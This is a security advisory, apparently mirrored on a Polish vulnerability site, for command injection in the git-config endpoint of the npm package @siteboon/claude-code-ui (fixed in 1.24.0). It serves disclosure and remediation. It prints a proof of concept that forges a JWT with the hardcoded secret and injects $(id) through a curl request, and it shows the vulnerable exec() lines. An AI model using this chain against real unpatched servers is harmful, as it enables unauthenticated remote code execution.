@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes
Shell Command Injection in User Git Config Endpoint
| Field | Value |
|---|---|
| Severity | High |
| CVSS 3.1 | 8.8 (High) — when chained with VULN-01 |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Attack Vector | Network |
| Authentication | JWT required (bypassable via VULN-01) |
| Affected Files | server/routes/user.js (lines 58-59) |
Description
The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.
This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.
Root Cause
server/routes/user.js lines 58-59:
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);
Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:
`malicious_command`— backtick execution$(malicious_command)— subshell execution
Impact
- Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
- The
git config --globalvector modifies the server-wide git configuration, affecting all git operations - When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data
Proof of Concept
# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")
# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'
The server executes:
git config --global user.name "$(id)"
Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.
Remediation
Replace exec() with spawn() (array arguments, no shell):
// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @siteboon/claude-code-ui | < 1.24.0 | 1.24.0 |
Odnośniki
- https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2
- https://nvd.nist.gov/vuln/detail/CVE-2026-31861
- https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04
- https://github.com/siteboon/claudecodeui
- https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-94- Platforma
- npm
- Paczka
@siteboon/claude-code-ui- Ujawniono
- 10.03.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-7fv4-fmmc-86g2 - CC BY 4.0
Historia podatności: @siteboon/claude-code-ui
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 03.2026 03.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
Ujawnienia w latach
- 2026: 2
-
@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.